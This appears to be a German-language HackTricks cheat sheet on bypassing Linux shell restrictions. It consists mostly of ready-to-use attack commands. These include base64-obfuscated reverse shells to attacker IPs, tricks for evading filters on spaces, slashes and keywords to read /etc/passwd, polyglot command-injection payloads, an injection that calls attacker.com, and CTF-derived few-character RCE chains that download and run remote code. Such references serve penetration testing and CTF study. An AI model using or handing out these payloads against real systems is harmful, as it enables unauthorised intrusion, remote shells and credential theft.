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Bypass Linux Restrictions

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Übliche Beschränkungen umgehen

Reverse-Shell

# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h

Kurze Rev-Shell

#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0

Umgehen von Pfaden und verbotenen Wörtern

# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost

# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami

# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard

# [chars]
/usr/bin/n[c] # /usr/bin/nc

# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64

#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h

# $@
who$@ami #whoami

# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64


# Execution through $0
echo whoami|$0

# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters

# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown

# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami

Umgehen verbotener Leerzeichen

# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test

# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd

# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
#  Other way, just change each space for ${IFS}
echo${IFS}test

# Using hex format
X=$'cat\x20/etc/passwd'&&$X

# Using tabs
echo "ls\x09-l" | bash

# New lines
p\
i\
n\
g # These 4 lines will equal to ping

# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a

Backslash und Slash umgehen

cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

Umgehen von Pipes

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Umgehen mit Hex-Codierung

echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`

Umgehen von IPs

# Decimal IPs
127.0.0.1 == 2130706433

Zeitgesteuerte Datenexfiltration

time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

Abrufen von Zeichen aus Umgebungsvariablen

echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/

DNS-Datenexfiltration

Sie könnten beispielsweise burpcollab oder pingb verwenden.

Eingebaute Funktionen

Falls Sie externe Funktionen nicht ausführen können und nur auf einen begrenzten Satz von eingebauten Funktionen zum Erlangen von RCE zugreifen können, gibt es einige nützliche Tricks, um dies zu erreichen. Normalerweise werden Sie nicht in der Lage sein, alle der eingebauten Funktionen zu verwenden, daher sollten Sie alle Ihre Optionen kennen, um zu versuchen, das Gefängnis zu umgehen. Idee von devploit. Überprüfen Sie zunächst alle Shell-eigenen Funktionen. Hier sind einige Empfehlungen:

# Get list of builtins
declare builtins

# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash

# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")

# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa

# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords

# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}

# Read file with read
while read -r line; do echo $line; done < /etc/passwd

# Get env variables
declare

# Get history
history
declare history
declare historywords

# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!

Polyglot Befehlseinschleusung

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

Umgehung möglicher Regexes

# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`

Bashfuscator

Bashfuscator

# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'

RCE mit 5 Zeichen

# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file

## Finally execute the file "g"
http://host/?cmd=sh g


# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*

# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder

RCE mit 4 Zeichen

# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'

# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'

# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'

# got shell
'sh x'
'sh g'

Umgehung von Schreibgeschützten/Noexec/Distroless-Einschränkungen

Wenn Sie sich in einem Dateisystem mit den Schreibgeschützten und Noexec-Schutzmaßnahmen oder sogar in einem distroless-Container befinden, gibt es dennoch Möglichkeiten, beliebige Binärdateien auszuführen, sogar eine Shell!:

pageBypass FS protections: read-only / no-exec / Distroless

Chroot & andere Jail-Umgehungen

pageEscaping from Jails

Referenzen & Mehr

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden. Heute noch Zugriff erhalten:

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

PreviousUseful Linux CommandsNextBypass FS protections: read-only / no-exec / Distroless

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